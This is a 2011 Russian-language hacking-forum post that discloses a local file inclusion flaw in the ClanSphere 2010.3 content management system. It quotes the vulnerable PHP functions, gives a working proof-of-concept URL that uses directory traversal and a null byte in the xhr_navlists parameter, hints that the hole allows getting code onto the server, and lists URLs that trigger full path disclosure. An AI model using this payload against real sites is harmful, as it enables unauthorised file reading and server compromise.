Старый 14.02.2011, 12:04   #1
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

ClanSphere 2010.3

разрабы

index.php
PHP код:
...$cs_main = array('init_sql' => true'init_tpl' => true'tpl_file' => 'index.htm');

require_once 
'system/core/functions.php';

cs_init($cs_main);... 
system/core/functions.php
PHP код:
function cs_init($predefined) {...

...
$cs_main['ajaxrequest'] = isset($_REQUEST['xhr']) ? true false;...

... if(!empty(
$predefined['init_tpl'])) {
    if (
$cs_main['ajaxrequest'] === true) {
      echo 
cs_ajaxwrap();
    }
    else
      echo 
cs_template($cs_micro$cs_main['tpl_file']);...


...
function 
cs_ajaxwrap() {

  global 
$cs_main$account;
  
$cs_act_lang cs_translate($cs_main['mod']);
  
$json = array();

  
header('Content-Type:application/json');

  if (empty(
$cs_main['public']) and $account['access_clansphere'] < $cs_main['maintenance_access'])
  {
    return 
json_encode(array('location' => '''reload' => 1));
  }
  if(!isset(
$_REQUEST['xhr_nocontent'])) {

    
$content cs_contentload($cs_main['show']);

    
$json['title'] = $cs_main['def_title'] . ' - ' ucfirst(html_entity_decode($cs_act_lang['mod_name'], ENT_NOQUOTES$cs_main['charset']));

    
$pathPrefix str_replace('\\','/',$cs_main['php_self']['dirname'] . $cs_main['php_self']['filename']) . '/';

    
$uri preg_replace('/^(.*?)\.php\??(.*?)$/s','\\2',$_SERVER['REQUEST_URI']) ;
    
$uri preg_replace('/[&\?\/]?(xhr_navlists[=\/])[^&\/]*/s',''$uri);
    
$uri str_replace(array('&xhr=1''/xhr/1''&xhr_nocontent=1''params=/''/params//',$pathPrefix),''$uri);
    
$uri preg_replace('/' str_replace('/','\/'$cs_main['php_self']['dirname']) . '/s''',$uri0);

    
$json['location'] = $uri;

    if(isset(
$cs_main['ajax_js'])) {
      
$json['scripts'] = $cs_main['ajax_js'];
    }
    
$json['content'] = $content;
  }

  if(isset(
$_REQUEST['xhr_navlists'])) {
    
$navs explode(','$_REQUEST['xhr_navlists']);
    
$navlists = array();
    foreach(
$navs AS $nav) {
      
$navlist explode('-',$nav);
      if(
$navlist[1]!='func') {
        
$navlists[$nav] = cs_templatefile($navlist);
      }
    }
    
$json['navlists'] = $navlists;
  }

  if (!empty(
$cs_main['debug'])) {
    global 
$cs_logs;
    
$cs_logs['php_errors'] = nl2br($cs_logs['php_errors']);
    
$cs_logs['errors'] = nl2br($cs_logs['errors']);

    
$data = array('data');
    
$data['data']['log_sql'] = cs_log_format('sql');
    
$data['data']['php_errors'] = $cs_logs['php_errors'];
    
$data['data']['csp_errors'] = $cs_logs['errors'];
    
$json['debug'] = cs_subtemplate(__FILE__$data'clansphere''debug');
  }

  return 
json_encode($json);

system/core/templates.php
PHP код:
...
function 
cs_templatefile($matches)
{
  
$return '';
  
$file 'mods/' $matches[0] . '/' $matches[1] . '.php';
  if(!
file_exists($file)) {
    
cs_error($file'cs_templatefile - File not found');
    
$match_count count($matches);
    for(
$i 0$i $match_count$i++)
      
$return .= 'm[' $i '] ' $matches[$i] . ' - ';
      return 
$return;
   }
return 
cs_filecontent($file$param$value);
...
function 
cs_filecontent($file$param NULL$value NULL)
{
...
ob_start();
include 
$file;
$content ob_get_contents();
ob_end_clean();
...
  return 
$content;
}
... 
LFI есть, но у связи с етим header('Content-Type:application/json'); все в файл +LFI
короче, залится можна ^_^

PoC:
Код:
http://localhost/clansphere_2010_3/?xhr=1&xhr_navlists=..-readme.txt%00
Разбивка $_REQUEST['xhr_navlists'] по "-".

$file = 'mods/' . $matches[0] . '/' . $matches[1] . '.php';

FPD

http://localhost/clansphere_2010_3/mods/abcode/edit.php
http://localhost/clansphere_2010_3/m...ode/import.php
http://localhost/clansphere_2010_3/mods/abcode/info.php
http://localhost/clansphere_2010_3/m...de/listimg.php
http://localhost/clansphere_2010_3/m...ode/manage.php
http://localhost/clansphere_2010_3/m...de/options.php
http://localhost/clansphere_2010_3/m...ode/remove.php
http://localhost/clansphere_2010_3/m...de/startup.php
http://localhost/clansphere_2010_3/m...ess/create.php
http://localhost/clansphere_2010_3/mods/access/edit.php
http://localhost/clansphere_2010_3/mods/access/info.php
http://localhost/clansphere_2010_3/m...ess/manage.php
http://localhost/clansphere_2010_3/m...ess/remove.php
...

Последний раз редактировалось Ded MustD!e; 14.02.2011 в 16:49..
}{оттабыч вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot